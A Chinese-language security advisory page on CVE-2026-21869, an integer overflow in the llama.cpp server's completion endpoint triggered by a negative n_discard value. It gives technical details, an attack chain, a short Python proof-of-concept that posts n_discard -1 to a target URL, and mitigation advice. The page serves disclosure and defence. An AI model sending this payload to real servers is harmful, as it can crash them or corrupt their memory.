IPBUF安全漏洞报告
English
CVE-2026-21869 CVSS 8.8 高危

CVE-2026-21869: llama.cpp n_discard参数整数溢出导致远程代码执行

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21869
漏洞类型
缓冲区溢出/整数溢出/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
llama.cpp

相关标签

llama.cpp缓冲区溢出整数溢出远程代码执行CVE-2026-21869大语言模型拒绝服务内存损坏

漏洞概述

llama.cpp是一个用C/C++实现的多种大语言模型(LLM)推理引擎。该漏洞存在于llama.cpp服务器的completion端点中,攻击者可以通过发送特制的HTTP请求,利用n_discard参数未经验证的缺陷执行任意代码。在llama.cpp的commit 55d4206c8及之前版本中,n_discard参数直接从JSON输入解析,程序未验证该值是否为非负数。当攻击者提供负值且上下文缓冲区填满时,系统会调用llama_memory_seq_rm/add函数,该函数接收到反向范围和负偏移值,导致在令牌评估循环中发生确定性内存损坏。这种内存损坏可能造成服务崩溃(拒绝服务攻击)或在特定条件下实现远程代码执行(RCE)。由于该参数直接影响内存操作,攻击者可以通过精心构造的请求控制写入位置,从而可能执行任意操作或获取系统控制权。截至漏洞披露时,尚无官方修复版本发布。

技术细节

漏洞根源在于llama.cpp服务器组件对用户输入的验证不足。具体来说,completion端点接收HTTP POST请求中的JSON数据,其中n_discard字段被直接解析为整数并传递给底层内存管理函数。正常情况下,n_discard应指定要丢弃的令牌数量,范围为非负整数。然而,由于缺少边界检查,负值可以被传入后续处理流程。当上下文窗口填满且需要丢弃旧令牌时,负值的n_discard会导致llama_memory_seq_rm/add接收到反向的范围参数(例如start > end)。这会触发内存操作函数访问本不应访问的内存区域,造成缓冲区越界写入。攻击者可通过构造包含n_discard负值的JSON payload(如:{"prompt": "...", "n_discard": -1})来触发该漏洞。在令牌评估循环中,这种越界写入会破坏堆内存结构,可能导致:1) 进程崩溃并引发拒绝服务;2) 覆盖关键函数指针或元数据实现代码执行;3) 在某些编译配置下直接跳转到攻击者控制的内存区域执行shellcode。由于内存写入是确定性的,攻击者可以多次尝试逐步精确定位目标内存地址。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标运行llama.cpp服务器版本,确认是否为commit 55d4206c8或更早版本,探测completion端点可用性
STEP 2
步骤2: 构造恶意请求
构建包含n_discard负值(如-1、-100等)的JSON payload,同时设置较大的n_predict值以填满上下文窗口
STEP 3
步骤3: 触发漏洞
向服务器/completion端点发送HTTP POST请求,服务器解析JSON后将负值n_discard传递给llama_memory_seq_rm/add函数
STEP 4
步骤4: 内存损坏
负偏移导致令牌评估循环执行越界内存写入操作,覆盖相邻堆内存区域的关键数据结构
STEP 5
步骤5: 代码执行或拒绝服务
根据内存损坏的具体位置,攻击者可实现远程代码执行(覆盖函数指针/JIT区域)或导致服务崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json import sys # CVE-2026-21869 PoC - llama.cpp n_discard Integer Overflow RCE # Target: llama.cpp server with vulnerable completion endpoint def exploit_llama_cpp(target_url, payload_prompt="test"): """ Exploit for CVE-2026-21869 Sends a crafted request with negative n_discard value """ exploit_data = { "prompt": payload_prompt, "n_predict": 100, "n_discard": -1 # Negative value triggers OOB write } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {json.dumps(exploit_data)}") response = requests.post( f"{target_url}/completion", json=exploit_data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[*] Request completed - check for OOB write or crash") else: print("[*] Server may have crashed or rejected request") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21869.py <target_url>") print("Example: python cve-2026-21869.py http://localhost:8080") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_llama_cpp(target)

影响范围

llama.cpp <= 55d4206c8 (commit)
llama.cpp all versions prior to patch

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时措施:1) 使用反向代理或API网关限制对llama.cpp服务器端点的访问,添加WAF规则过滤包含负数n_discard值的请求;2) 对所有completion端点的JSON输入进行schema验证,拒绝不符合规范的请求;3) 监控服务器资源使用情况,对异常的内存访问模式进行告警;4) 考虑使用容器化部署并限制容器内存,防止内存损坏影响宿主机;5) 定期检查llama.cpp官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表